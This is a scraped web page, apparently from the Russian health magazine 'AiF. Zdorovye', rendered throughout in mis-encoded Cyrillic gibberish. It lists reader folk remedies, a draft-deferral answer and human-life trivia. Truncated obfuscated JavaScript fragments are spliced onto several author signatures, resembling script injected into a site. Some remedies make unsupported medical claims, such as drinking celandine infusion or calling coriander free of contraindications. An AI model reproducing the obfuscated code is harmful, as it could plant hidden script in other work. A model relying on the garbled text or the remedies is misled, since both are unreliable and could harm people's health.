×òî çíà÷èò «âðåìåííî íå ãîäíûé ê âîåííîé ñëóæáå»
Ìîé ñûí ïîëó÷èë ïîâåñòêó èç âîåíêîìàòà. Îí ó ìåíÿ áîëåçíåííî õóäîé, à ÿ ñëûøàëà, ÷òî ñ íåäîáîðîì âåñà â àðìèþ ñëóæèòü íå áåðóò. Ýòî ïðàâäà?
Ñ. Êàíååâà
Îòâå÷àåò Âëàäèìèð Ðåãíàöêèé, âîåííûé êîìèññàð ã. Ìîñêâû:
- Îòñðî÷êà îò ïðèçûâà íà âîåííóþ ñëóæáó ïðåäîñòàâëÿåòñÿ ïðèçûâíèêàì, ïðèçíàííûì âðåìåííî íå ãîäíûìè ê âîåííîé ñëóæáå íà ñðîê äî îäíîãî ãîäà. Åñëè ïðèçûâíèê íóæäàåòñÿ â ïðîäîëæèòåëüíîì (ñâûøå 3 ìåñÿöåâ) ëå÷åíèè, âûíîñèòñÿ çàêëþ÷åíèå î åãî âðåìåííîé íåãîäíîñòè ê âîåííîé ñëóæáå íà ñðîê îò 6 äî 12 ìåñÿöåâ (ï. 20 ãë. 2 Ïîëîæåíèÿ î âîåííî-âðà÷åáíîé ýêñïåðòèçå ïðè ïðèçûâå ãðàæäàí íà âîåííóþ ñëóæáó). Ïîñëå çàâåðøåíèÿ ëå÷åíèÿ ïàðåíü ïðîõîäèò...
×åðòîïîëîõ èñïîëüçóåòñÿ ïðè ðàññòðîéñòâàõ íåðâíîé ñèñòåìû åùå ñ äðåâíèõ âðåìåí
Îñåíüþ, êîãäà íà óëèöå èäåò ìåëêèé äîæäèê, ÿ ÷àñòî âïàäàþ â àïàòèþ.
×óâñòâóþ ñëàáîñòü, íå õî÷ó âûõîäèòü èç äîìà. Èíîãäà äàæå ãîëîâà íà÷èíàåò êðóæèòüñÿ.
 òàêèå äíè ìíå ïîìîãàåò íàñòîé ÷åðòîïîëîõà.
1 ñò. ëîæêó ëèñòüåâ íóæíî çàëèòü 1 ñòàêàíîì êèïÿòêà, íàñòîÿòü äî îõëàæäåíèÿ, ïðîöåäèòü è ïèòü ïî ½ ñòàêàíà 3–4 ðàçà â äåíü.
Îëüãà Ãðèøàåâà, Ìîñêâàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Ïîäöåïèòü ãðèáîê ìîæíî â áàññåéíå, áàíå, ñïîðòçàëå èëè â ãîñòÿõ
Êàê-òî ðàç â áàññåéíå ïîäöåïèëà ãðèáîê. Ïîäðóãà ïîñîâåòîâàëà ìíå îáðàáîòàòü áîëüíîå ìåñòî ìàñëîì ÷àéíîãî äåðåâà.
Ãðèáîê ïðîøåë î÷åíü áûñòðî! Ýòî æå ñðåäñòâî ÿâëÿåòñÿ âåëèêîëåïíûì ñïîñîáîì ïðîôèëàêòèêè ãðèáêà.
Åñëè âîçíèêëî ïîäîçðåíèå, ÷òî ìåñòî íåäàâíåãî ïîñåùåíèÿ – áàíÿ, ãîñòè, áàññåéí è ò. ä. – ìîæåò ñïðîâîöèðîâàòü ïîÿâëåíèå ãðèáêà, âåðíóâøèñü äîìîé, ñòîèò õîðîøåíüêî âûìûòü íîãè è ðóêè ñ ìûëîì, à çàòåì ïðîòåðåòü èõ ìàñëîì ÷àéíîãî äåðåâà.
Îëüãà Íîâèêîâà, Ìîñêâàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Ïåòðóøêà ñîäåðæèò ìíîæåñòâî ïîëåçíûõ âåùåñòâ, åæåäíåâíî íåîáõîäèìûõ ÷åëîâåêó
Ó ìåíÿ î÷åíü æèðíàÿ êîæà.
À îò æàðû ëèöî ñòàíîâèòñÿ åùå áîëåå ñàëüíûì, ïîðû ðàñøèðÿþòñÿ, ïîÿâëÿþòñÿ ÷åðíûå òî÷êè è ãíîéíè÷êè.
Ñïðàâèòüñÿ ñ ýòèìè ïðîáëåìàìè ìíå ïîìîãàåò ìàñêà èç ïåòðóøêè. Ïó÷îê ñâåæåé ïåòðóøêè âûìûòü, ìåëêî íàðåçàòü, çàëèòü âîäîé, äîâåñòè äî êèïåíèÿ, ïðîöåäèòü.
Òåïëóþ êàøèöó ïðèëîæèòü ê ëèöó íà 30 ìèíóò. Çàòåì ïðîòåðåòü ëèöî. Ìàñêó ìîæíî äåëàòü 3 ðàçà â íåäåëþ
Ñâåòëàíà Íèêîëàåâíà Ãîëîâàíîâà, ßðîñëàâëüfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Âî âðåìÿ ïðèñòóïà òàõèêàðäèè ãëàâíîå - ôèçè÷åñêèé è ïñèõè÷åñêèé ïîêîé
Ó ìåíÿ ÷àñòåíüêî áûâàåò òàõèêàðäèÿ.
Âîò ñðåäñòâà, êîòîðûå âñåãäà ïîìîãàþò ìíå óíÿòü ñåðäöåáèåíèå:
1 ñò. ëîæêó òðàâû ïóñòûðíèêà çàëèòü 1 ñòàêàíîì êèïÿòêà, íàñòàèâàòü 1 ÷àñ, ïðîöåäèòü, äîáàâèòü 2 êàïëè ìàñëà ìÿòû ïåðå÷íîé, ñíà÷àëà ðàçìåøàâ åãî â ÷àéíîé ëîæêå ìåäà. Âûïèòü ñìåñü ïåðåä ñíîì.
100 ã êîðíåé äåâÿñèëà çàëèòü 200 ã âîäêè è íàñòàèâàòü 2 íåäåëè. Ïðèíèìàòü ïî 1 ÷. ëîæêå 3 ðàçà â äåíü íåçàäîëãî äî åäû.
Çàâàðèòü 1 ÷. ëîæêó èçìåëü÷åííîé ìåëèññû ñòàêàíîì êèïÿòêà. Ïèòü îòâàð â òå÷åíèå äíÿ.
Ðàèñà Ñåðãååâíà Åðûãèíà, Àñòðàõàíü
Äîðîãèå ÷èòàòåëè!
Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ ñ áåäîé â îäèíî÷êó. Ðàññêàæèòå...
8650 ñóòîê ñïèò â ñðåäíåì çà æèçíü ÷åëîâåê, â ïåðåâîäå íà ãîäû – îêîëî 27 ëåò
Îêîëî 45 òîíí ïèùè ñúåäàåò è âûïèâàåò îêîëî 60 òûñÿ÷ ëèòðîâ âîäû.
6 ðàç ìåíÿåò ìåñòî ðàáîòû, 4 ðàçà – ïðîôåññèþ.
150 òûñÿ÷ êèëîìåòðîâ ïðîõîäèò ïåøêîì – ïóòü ïðîòÿæåííîñòüþ â 3,5 äëèíû ýêâàòîðà.
6 ðàç â æèçíè èñïûòûâàåò ëåãêóþ âëþáëåííîñòü è â ñðåäíåì 2,5 ðàçà âëþáëÿåòñÿ.
150 òðèëëèîíîâ ñîîáùåíèé ïîëó÷àåò ìîçã ÷åëîâåêà â ñðåäíåì çà æèçíü.
125 483 120 ëèòðîâ êðîâè ïåðåêà÷èâàåò â ñðåäíåì åãî ñåðäöå è äåëàåò â òå÷åíèå æèçíè 3 ìèëëèàðäà óäàðîâ.
44 òûñÿ÷è ðàç ÷èñòèò ÷åëîâåê çóáû, 312 960 844 ðàçà ìîðãàåò, 1365 ðàç ÷èõàåò, 1 ðàç â æèçíè â ñðåäíåì ëîìàåò êîñòü.
69 ëèòðîâ ñëåç ïðîëèâàåò â ñðåäíåì ÷åëîâåê çà...
Ëåòîì èç-çà æàðû è äóõîòû íà÷èíàåò êðóæèòüñÿ ãîëîâà è ïîÿâëÿåòñÿ ñëàáîñòü...
Ñ ìîëîäîñòè ñòðàäàþ âåãåòîñîñóäèñòîé äèñòîíèåé, ïîýòîìó ëåòî äëÿ ìåíÿ – òÿæåëîå âðåìÿ.
Îò ïîñòîÿííîé æàðû è äóõîòû ÷àñòî êðóæèòñÿ ãîëîâà, ïî óòðàì ÷óâñòâóþ ñëàáîñòü, äàâëåíèå «ñêà÷åò». Íî â ïîñëåäíåå âðåìÿ ÿ ñòàëà ÷óâñòâîâàòü ñåáÿ íàìíîãî ëó÷øå – çíàêîìàÿ ïîñîâåòîâàëà ìíå îòëè÷íûå ñðåäñòâà äëÿ îáëåã÷åíèÿ ìîåãî ñîñòîÿíèÿ.
Ñ óäîâîëüñòâèåì ïîäåëþñü ýòèìè ðåöåïòàìè ñ ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå»:
Íàñòîéêà êàëåíäóëû. 20 ã öâåòêîâ çàëåéòå 100 ìë âîäêè, íàñòàèâàéòå â òå÷åíèå 5 äíåé, ïðîöåäèòå è ïðèíèìàéòå ïî 20 êàïåëü 2 ðàçà â äåíü.
Îòâàð ëèñòüåâ åæåâèêè. 1 ñò. ëîæêó ëèñòüåâ çàëåéòå 200 ìë êèïÿòêà, ïîñòàâüòå íà ìåäëåííûé îãîíü íà 15 ìèíóò....
ßãîäû è ëèñòüÿ ñìîðîäèíû ÷åðíîé îáëàäàþò ïðîòèâîâîñïàëèòåëüíûì, ïîòîãîííûì, ìî÷åãîííûì ñâîéñòâàìè
ß – áîëüøàÿ ïîêëîííèöà íàðîäíîé ìåäèöèíû.
×èòàéòå òàêæå:
Ãîðÿ÷èå ìîëî÷íûå êîìïðåññû ïîìîãóò ñíÿòü óñòàëîñòü
Îòâàð èç ñåìÿí êîðèàíäðà – îòëè÷íîå îòõàðêèâàþùåå ñðåäñòâî
Çàðÿäêà äëÿ êëåðêîâ: ñæèìàéòå ïàëüöû â êóëàêè
Ó ìåíÿ îãðîìíàÿ êîëëåêöèÿ ðàçíîîáðàçíûõ ðåöåïòîâ. Õîòåëà áû ïîñîâåòîâàòü âñåì ÷èòàòåëÿì ïî âåñíå ïðèãîòîâèòü íàñòîé èç ëèñòüåâ èëè ïî÷åê ÷åðíîé ñìîðîäèíû, êîòîðûé ìîæåò èñïîëüçîâàòüñÿ â êà÷åñòâå ìî÷åãîííîãî, ñëàáèòåëüíîãî è ïîòîãîííîãî ñðåäñòâà.
Äëÿ òîãî ÷òîáû ïðèãîòîâèòü íàñòîé, 5 ñò. ëîæåê...
Ïåðâûå ëåòíèå äåíå÷êè ÷àñòåíüêî îìðà÷àþòñÿ ñîëíå÷íûìè îæîãàìè
Õî÷ó ïîäåëèòüñÿ ñ ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå» ïðîñòûìè ðåöåïòàìè, êîòîðûå ïîìîãóò ñíÿòü áîëü è îõëàäèòü êîæó.
×èòàéòå òàêæå:
Ðîìàøêà è ýâêàëèïò îò àíãèíû
Ìåä è ñîê àëîý äëÿ ãèáêîñòè ñóñòàâîâ
×åðíîñëèâ - ñëàäêîå ëåêàðñòâî îò çàïîðîâ
1 ñò. ëîæêó ñóõèõ èçìåëü÷åííûõ ëèñòüåâ ïëþùà îáûêíîâåííîãî çàëåéòå 0,5 ë êèïÿòêà, ïðîâàðèòü 10 ìèíóò, ïðîöåäèòü. Íàñòîé èñïîëüçóþò äëÿ ïðèìî÷åê íà îáîææåííûå ñîëíöåì ìåñòà.
10 ã ëèñòüåâ ýâêàëèïòà çàëåéòå ñòàêàíîì êèïÿòêà, íàãðåâàéòå íà âîäÿíîé áàíå 30 ìèíóò, îõëàäèòå, ïðîöåäèòå...
 ëåòíþþ æàðó î÷åíü ëåãêî ïðîñòóäèòüñÿ
Ñòîèò ãëîòíóòü õîëîäíîé âîäû, è äî àíãèíû ðóêîé ïîäàòü!
×èòàéòå òàêæå:
Ëèñòüÿ îäóâàí÷èêà îò ïðîñòóäû
Ïåòðóøå÷íàÿ ìàñêà ñíèìåò îòåêè ïîä ãëàçàìè
Õóäååì íà ñâåêîëüíîì êâàñå
Áûñòðî ñïðàâèòüñÿ ñ áîëüþ â ãîðëå ïîìîæåò íàñòîé ðîìàøêè, êàëåíäóëû è ýâêàëèïòà.
Äëÿ ïðèãîòîâëåíèÿ íàñòîÿ áåðóò 2 ñò. ëîæêè öâåòîâ ðîìàøêè, 1 ñò. ëîæêó öâåòîâ êàëåíäóëû.
Ïîëó÷åííóþ ñìåñü çàëèâàþò òðåìÿ ñòàêàíàìè êèïÿòêà.  ïîëó÷åííûé íàñòîé íóæíî äîáàâèòü íåñêîëüêî êàïåëü ýâêàëèïòîâîãî ìàñëà. Íàñòîé óêóòûâàþò è íàñòàèâàþò â...
Òåì, ó êîãî åñòü äà÷à, íå íóæåí àáîíåìåíò â ôèòíåñ-öåíòð. Îäíàêî, âêàëûâàÿ íà ñâîèõ
ñîòêàõ, âàæíî ïîìíèòü îá îñòîðîæíîñòè, ÷òîáû íå ñïðîâîöèðîâàòü îáîñòðåíèå èìåþùèõñÿ
çàáîëåâàíèé
Ýêñïåðò – ñîòðóäíèê Èíñòèòóòà íåâðîëîãèè ÐÀÌÍ, êàíäèäàò ìåäèöèíñêèõ íàóê Ëåâ Ìàíâåëîâ.
Ðåçêàÿ áîëü â ñïèíå, ïîÿñíèöå
Âîçìîæíàÿ ïðè÷èíà. Îáîñòðåíèå ðàäèêóëèòà, çàùåìëåíèå íåðâîâ.
Ñêîðàÿ ïîìîùü - ñíÿòü ïðèñòóï áîëè ìîæíî ñ ïîìîùüþ àíàëüãåòèêîâ è ñïàçìîëèòèêîâ; äåðæèòå ïîä ðóêîé ñîâðåìåííûå ïðîòèâîâîñïàëèòåëüíûå ïðåïàðàòû. Êàê òîëüêî ïî÷óâñòâóåòå áîëü, ñðàçó æå íà÷èíàéòå ïðèíèìàòü ëåêàðñòâà – îêîëî 10 äíåé ïî òàáëåòêå 3 ðàçà â äåíü. Ïîìíèòå, ÷òî ïðåïàðàòû ýòîé ãðóïïû ðàçäðàæàþò ñëèçèñòóþ æåëóäêà è êèøå÷íèêà è ïðîòèâîïîêàçàíû ïðè ÿçâå è ãàñòðèòàõ. Èõ ìîæíî ïðèíèìàòü òîëüêî ïîñëå åäû; ïîñòàâüòå íà áîëüíîå ìåñòî ãîð÷è÷íèê, îáìîòàéòåñü øåðñòÿíûì...
Ìû ïóáëèêóåì ñâîäêó ñàìûõ èíòåðåñíûõ è çàáàâíûõ íîâîñòåé ïðîøåäøåé íåäåëè
ÐÅÊÎÌÅÍÄÀÖÈÈ
Ëåêàðñòâî – òåìíûå î÷êè
Îáëåã÷èòü ñèìïòîìû ìèãðåíè ñ àóðîé ïîìîãàþò òîíèðîâàííûå î÷êè, ãîâîðÿò àìåðèêàíñêèå ó÷åíûå.
Ñàìûìè ÷àñòûìè ïðåäâåñòíèêàìè ìèãðåíè áûâàþò ÿðêèå êîíòðàñòíûå ïîëîñêè íåîïðåäåëåííîé ôîðìû è öâåòà, êîòîðûå ìîãóò ïðèõîäèòü â äâèæåíèå. Èññëåäîâàíèå ïîêàçàëî, ÷òî ñïðàâèòüñÿ ñ ìèãðåíüþ ïîìîãóò òîíèðîâàííûå öâåòíûå î÷êè. Îñîáåííî ýôôåêòèâíû î÷êè ñ öâåòíûìè ñòåêëàìè, êîòîðûå èíäèâèäóàëüíî ïîäáèðàþòñÿ äëÿ êàæäîãî ïàöèåíòà. Ñ èõ ïîìîùüþ óäàåòñÿ ñíèçèòü íåïðèÿòíûå îùóùåíèÿ â 70% ñëó÷àåâ.
Âñå íà òàé-÷è!
Êèòàéñêîå áîåâîå èñêóññòâî òàé-÷è ïîìîãàåò ïðåäîòâðàòèòü ïåðåëîìû â ðåçóëüòàòå ïàäåíèé è óëó÷øèòü ïñèõè÷åñêîå...
×òîáû âûëå÷èòü ïðîñòóäó, íå îáÿçàòåëüíî ñðàçó áåæàòü â àïòåêó
Õî÷ó ïîäåëèòüñÿ ñî âñåìè ïðîâåðåííûì ñðåäñòâîì îò êàøëÿ.
Ýòî ëåêàðñòâî íå ðàç ïîìîãàëî ìíå ñïðàâèòüñÿ ñ ïðîñòóäîé. ×òîáû åãî ïðèãîòîâèòü, ñîâåðøåííî íå îáÿçàòåëüíî îòïðàâëÿòüñÿ â àïòåêó, âåäü îñíîâíîé èíãðåäèåíò ìîåãî ñðåäñòâà – ëèñòüÿ îäóâàí÷èêà – íàéäóòñÿ â ëþáîì äâîðå.
2–3 ñò. ëîæêè ñóõèõ èçìåëü÷åííûõ ëèñòüåâ îäóâàí÷èêà çàëåéòå â òåðìîñå 0,5 ë êðóòîãî êèïÿòêà, ïðîöåäèòå è ïåéòå ïî 1/2 ñòàêàíà 3–4 ðàçà â äåíü çà ïîë÷àñà äî åäû.
Åëåíà Íèêîëàåâíà Òèìîøåíêî, Òîëüÿòòèfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Ïîìî÷ü ñâîèì ñóñòàâàì ìîæíî â ëþáîì âîçðàñòå
Ñ âîçðàñòîì ñòàëà çàìå÷àòü, ÷òî ñóñòàâû ïîõðóñòûâàþò, äà è ñãèáàþòñÿ íå òàê ëåãêî, êàê ðàíüøå.
×èòàéòå òàêæå:
Õóäååì íà ñâåêîëüíîì êâàñå
×åðíîñëèâ - ñëàäêîå ëåêàðñòâî îò çàïîðîâ
Ïðîùàíèå ñ ñèãàðåòîé: íàñòîé èç òðàâ ïðîòèâ êóðåíèÿ
Ðåøèëà ïîïðîáîâàòü áîðîòüñÿ ñ ýòîé íàïàñòüþ ïðè ïîìîùè íàðîäíûõ ñðåäñòâ. Âîò ÷òî ìíå ïîìîãàåò:
Âîçüìèòå 2 ÷àñòè ìåäà, 1 ÷àñòü ñîêà àëîý, 3 ÷àñòè âîäêè. Âñå ñìåøàéòå è íàêëàäûâàéòå íà áîëüíîå ìåñòî â âèäå êîìïðåññà íà 30 ìèíóò.
Ñîáåðèòå õâîþ (ëþáîå õâîéíîå äåðåâî ñãîäèòñÿ), 2...
Ýòîò íàïèòîê ñòàíåò õîðîøèì äîïîëíåíèåì ê ëþáîé äèåòå
Ñêîëüêî ñåáÿ ïîìíþ, âñå âðåìÿ áîðþñü ñ ëèøíèìè êèëîãðàììàìè.
×èòàéòå òàêæå:
Ïåòðóøå÷íàÿ ìàñêà ñíèìåò îòåêè ïîä ãëàçàìè
Çàðÿäêà äëÿ êëåðêîâ: ñæèìàéòå ïàëüöû â êóëàêè
Îòåêàþò íîãè? Ïåéòå íàñòîé ïåòðóøêè!
Òàê óæ ïîëó÷èëîñü, ÷òî îò ïðèðîäû ÿ ñêëîííà ê ïîëíîòå, ïîýòîìó âñå ñúåäåííîå íåìåäëåííî îòêëàäûâàåòñÿ ó ìåíÿ íà òàëèè.
Íî, ê ñ÷àñòüþ, ó ìåíÿ åñòü õîðîøèé ñïîñîá áûñòðî âåðíóòüñÿ â ôîðìó. À ïîìîãàåò ìíå â ýòîì ñâåêîëüíûé êâàñ.
1 êã ñûðîé ñâåêëû òùàòåëüíî ïîìîéòå, î÷èñòèòå, íàðåæüòå òîíêèìè ëîìòèêàìè èëè...
Îò¸êè – íàèáîëåå ðàñïðîñòðàí¸ííàÿ ïðîáëåìà
×èòàéòå òàêæå:
Îòâàð èç ñåìÿí êîðèàíäðà – îòëè÷íîå îòõàðêèâàþùåå ñðåäñòâî
Îòâàð èç öâåòêîâ ðîìàøêè äëÿ ñëàáîãî ãîðëà
Óêðîïíûé íàñòîé äëÿ õîðîøåãî ñíà
Ðàáîòàþ íà çàâîäå, èíîãäà ïðèõîäèòñÿ âûõîäèòü â íî÷íóþ ñìåíó.
Äàæå åñëè óäàåòñÿ íåìíîãî ïîñïàòü ïîñëå ðàáîòû, òåìíûå êðóãè è îòåêè ïîä ãëàçàìè âñå ðàâíî íå ïðîõîäÿò.
Íî âåäü òàê õî÷åòñÿ âñåãäà âûãëÿäåòü õîðîøî!  ýòîì ìíå ïîìîãàþò äîìàøíèå ìàñêè. Âîò ìîè ëþáèìûå ðåöåïòû:
Ïåòðóøå÷íàÿ ìàñêà. Êàøèöó êîðíÿ ïåòðóøêè, ïîëó÷åííóþ ïðè ïîìîùè ìÿñîðóáêè, íàëîæèòü...
Ñåìåíà êîðèàíäðà ÿâëÿþòñÿ áåçîïàñíûìè, îíè íå èìåþò íèêàêîãî ïîáî÷íîãî ýôôåêòà è ïðîòèâîïîêàçàíèé
Õî÷ó ïîäåëèòüñÿ ñ ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå» ñâîèì ôèðìåííûì ðåöåïòîì îò ïðîñòóäû.
Ýòèì ñðåäñòâîì ÿ äàâíî è óñïåøíî ëå÷ó âñþ ñâîþ ñåìüþ.
Êàê òîëüêî êòî-íèáóäü íà÷íåò êàøëÿòü, ñðàçó æå ãîòîâëþ îòâàð èç ñåìÿí êîðèàíäðà – ýòî îòëè÷íîå îòõàðêèâàþùåå ñðåäñòâî. 1 ñò. ëîæêó ñåìÿí çàëåéòå 1 ñòàêàíîì êèïÿòêà, äîâåäèòå äî êèïåíèÿ è îõëàäèòå.
Ïðèíèìàéòå ïî 1 ÷. ëîæêå 3–4 ðàçà â äåíü.
Ëàðèñà Âûøàêîâà, Òóëàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Ó ìåíÿ î÷åíü äåëèêàòíàÿ ïðîáëåìà – ìó÷àþò çàïîðû
Ìîæåò, êîìó-òî ïîêàæåòñÿ, ÷òî ýòî íå çàñëóæèâàåò âíèìàíèÿ, íî âåäü çàïîð ïðèâîäèò ê îòðàâëåíèþ âñåãî îðãàíèçìà.
×èòàéòå òàêæå:
Îò çàïîðîâ äî îïóõîëåé: ñòðàøíûå ïîñëåäñòâèÿ íåïðàâèëüíîãî ïèòàíèÿ
Áóòåðáðîä âìåñòî òàáëåòêè. Êàê âûëå÷èòü çàïîð áåç âðåäíûõ ñëàáèòåëüíûõ
11 ðåöåïòîâ îò çàïîðà
Òàê ÷òî, åñëè êòî-òî òîæå ñòðàäàåò îò ïîäîáíîé íåïðèÿòíîñòè, íå ïóñêàéòå ýòî äåëî íà ñàìîòåê! Ëó÷øå âîñïîëüçóéòåñü ìîèì ñðåäñòâîì, îíî áûñòðî è äåëèêàòíî íàëàäèò ïèùåâàðåíèå.
400 ã î÷èùåííîãî îò êîñòî÷åê ÷åðíîñëèâà ïðîïóñòèòå...
×òîáû íå çàòåêàëè ðóêè è øåÿ âî âðåìÿ ðàáî÷åãî äíÿ, íóæíî äåëàòü ñïåöèàëüíûå óïðàæíåíèÿ
Ðàáîòàþ â îôèñå, òàê ÷òî öåëûìè äíÿìè ïðèõîäèòñÿ ñèäåòü çà êîìïüþòåðîì.
×èòàéòå òàêæå:
Ïåðåö - äëÿ ðîñòà âîëîñ
Îòåêàþò íîãè? Ïåéòå íàñòîé ïåòðóøêè!
Êèñëî-ñëàäêèå ÿáëîêè ïîìîãóò èçáàâèòüñÿ îò êàøëÿ
 ïîñëåäíåå âðåìÿ îò ïîñòîÿííîãî íàïðÿæåíèÿ ñòàëè áîëåòü êèñòè ðóê, ïîÿâèëàñü áîëü â ðàéîíå ëîêòÿ. Êîëëåãè ïîñîâåòîâàëè äåëàòü ñïåöèàëüíûå óïðàæíåíèÿ. Ìíå îíè î÷åíü ïîìîãàþò.
Íàäåþñü, îíè ïðèãîäÿòñÿ è ÷èòàòåëÿì «ÀèÔ. Çäîðîâüå».
1. Âñòðÿõíèòå ðóêè.
2. Ñæèìàéòå ïàëüöû â êóëàêè (îêîëî 10 ðàç).
3. Âðàùàéòå êóëàêàìè...
Ãîëîâíàÿ áîëü - îäíà èç íàèáîëåå ðàñïðîñòðàíåííûõ æàëîá
×àñòî ìó÷àþñü îò ãîëîâíûõ áîëåé.
×èòàéòå òàêæå:
Ñïðàâèòüñÿ ñ ó÷àùåííûì ñåðäöåáèåíèåì ïîìîãóò ãðåöêèå îðåõè è ìåä
Óêðîïíûé íàñòîé äëÿ õîðîøåãî ñíà
Ïèòàòåëüíàÿ ìàñêà èç ÿáëîê
Âðà÷è ãîâîðÿò, ÷òî ýòî ó ìåíÿ íà íåðâíîé ïî÷âå. Êàæäûé ðàç ãëîòàòü òàáëåòêè íå õî÷åòñÿ – âñå-òàêè «õèìèè» â íèõ ìíîãîâàòî, ïîýòîìó ñòàðàþñü ïîìî÷ü ñåáå íàðîäíûìè ñðåäñòâàìè.
Ñàìûå ëó÷øèå ñâîè ðåöåïòû ðåêîìåíäóþ âñåì ÷èòàòåëÿì «ÀèÔ. Çäîðîâüå»:
● 1 ñò. ëîæêó ñóõîé òðàâû çâåðîáîÿ çàëåéòå 1 ñòàêàíîì êèïÿòêà, ïðîêèïÿòèòå 15...
Æåëàíèå çàêóðèòü ìîæíî ïîáåäèòü ñ ïîìîùüþ íàñòîÿ èç ëèñòüåâ ñìîðîäèíû, ìàòû è äóøèöû
Íà÷àë êóðèòü åùå â ìîëîäîñòè, à êàê âûøåë íà ïåíñèþ, ïîíÿë, ÷òî ñ ýòîé ïðèâû÷êîé ïîðà ðàññòàâàòüñÿ.
Çäîðîâüå óæå íå ïîçâîëÿåò äûì ãëîòàòü – òî êàøåëü, òî îäûøêà áåñïîêîèëè.
Äóìàþ, êóðèëüùèêè ïîéìóò, êàê íåïðîñòî äàâàëîñü ìíå ïðîùàíèå ñ ñèãàðåòîé.
È âîò êàê-òî ðàç ïðèÿòåëü ïîñîâåòîâàë ìíå îòëè÷íîå ñðåäñòâî.
● Âîçüìèòå ëèñòüÿ ÷åðíîé ñìîðîäèíû – 1 ÷àñòü, ëèñòüÿ ìÿòû ïåðå÷íîé – 2 ÷àñòè, òðàâó äóøèöû îáûêíîâåííîé – 2 ÷àñòè. 3 ñò. ëîæêè ñóõîé èçìåëü÷åííîé ñìåñè çàëåéòå â òåðìîñå 0,5 ë êðóòîãî êèïÿòêà, íàñòàèâàéòå 30–45 ìèí., ïðîöåäèòå.
Ïîëîñêàéòå ðîò ýòèì íàñòîåì, êàê òîëüêî çàõî÷åòñÿ ïîêóðèòü. Ïîñëå ýòîãî áîðîòüñÿ ñ æåëàíèåì...
×àñòûå ôàðèíãèòû è ðåñïèðàòîðíûå çàáîëåâàíèÿ îáóñëîâëåíû ó äåòåé íåçðåëîñòüþ èììóííîé ñèñòåìû
Ó ìîåé äî÷åðè ãîðëî – ñëàáîå ìåñòî.
×èòàéòå òàêæå:
Ðåöåïò äëÿ ïðîôèëàêòèêè ïðîñòóäíûõ çàáîëåâàíèé
Ñîê ãðàíàòà ïîìîæåò ñíÿòü âîñïàëåíèå â ãîðëå
Êîìïðåññ äëÿ øåè èç çâåðîáîÿ, îäóâàí÷èêà è ëîïóõà
Ñòîèò âîäû õîëîäíîé ïîïèòü èëè íà ñêâîçíÿêå íåìíîãî ïîáûòü –
ñðàçó æå ãîëîñ ñàäèòñÿ. Íî ÿ çíàþ, ÷åì ïîìî÷ü äî÷åðè. Âîò ìîè ëþáèìûå ðåöåïòû:
● Îòâàð èç êîðíåé ëîïóõà:
2 ÷. ëîæêè ìåëêî íàðåçàííûõ êîðíåé ëîïóõà áîëüøîãî çàëèòü îäíèì ñòàêàíîì âîäû, êèïÿòèòü 10–15 ìèí. íà ñëàáîì îãíå. Ïèòü ïî 1 ñò....
Êàê ïîääåðæàòü ñâîå ñåðäöå íàðîäíûìè ñðåäñòâàìè?
Ñ âîçðàñòîì ñòàëà çàìå÷àòü, ÷òî ñåðäöå íåìíîãî áàðàõëèò – ñòîèò ÷óòü-÷óòü ïîâîëíîâàòüñÿ èëè íåìíîãî óñòàòü, «ìîòîð÷èê» íà÷èíàåò ñòó÷àòü ÷àñòî-÷àñòî.
×èòàéòå òàêæå:
Íàñòîé êàëåíäóëû - ïðîôèëàêòè÷åñêîå ñðåäñòâî ïðîòèâ ãàñòðèòà
Êðàïèâà – æãó÷åå ëåêàðñòâî ïðîòèâ êàøëÿ è óãðåé
Ïèòàòåëüíàÿ ìàñêà èç ÿáëîê
Âðà÷ ñêàçàë, ÷òî â ìîåì âîçðàñòå ýòî íîðìàëüíî, íî ÿ ðåøèëà íå çàïóñêàòü ïðîáëåìó è îáðàòèëàñü çà ïîìîùüþ ê íàðîäíûì ñðåäñòâàì. Âîò ÷òî ïîìîãàåò ìíå ñïðàâèòüñÿ ñ ó÷àùåííûì ñåðäöåáèåíèåì:
● Çàâàðèòå...
Ïî÷òè êàæäûé âòîðîé âçðîñëûé ñòðàäàåò ãàñòðèòîì
Åùå â ñòóäåí÷åñêèå ãîäû ÿ îáçàâåëàñü ãàñòðèòîì.
×èòàéòå òàêæå:
Ëàâðîâûé ëèñò äëÿ ïîÿñíèöû
Ðåöåïò äëÿ ãèïåðòîíèêà: íàñòîé èç ñîêà õðåíà, ëèìîíà è ìîðêîâêè
Èñïûòàííîå ñðåäñòâî îò ïðîáëåì ñî ñíîì – âàííî÷êà ñ ðîìàøêîé
